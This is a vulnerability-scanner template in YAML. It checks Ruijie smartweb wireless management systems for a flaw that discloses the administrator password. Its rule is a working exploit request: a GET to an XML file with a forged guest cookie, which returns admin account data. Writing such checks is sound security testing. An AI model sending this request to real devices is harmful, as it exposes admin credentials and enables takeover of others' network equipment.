ruijie-smartweb-password-disclosure.yaml

id: ruijie-smartweb-password-disclosure

info:
  name: Ruijie smartweb password information disclosure
  author: zan8in
  severity: high
  verified: true
  description: |
    锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。
    app="Ruijie-WiFi" && title="无线smartWeb--登录页面"
  reference:
      - http://wiki.peiqi.tech/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20Smartweb%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E5%AF%86%E7%A0%81%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html

rules:
    r0:
        request:
            method: GET
            path: /web/xml/webuser-auth.xml
            headers:
              Cookie: "login=1; oid=1.3.6.1.4.1.4881.1.1.10.1.3; type=WS5302; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest"
        expression: |
            response.status == 200 && response.body.bcontains(b'<![CDATA[   admin]]>')
expression: r0()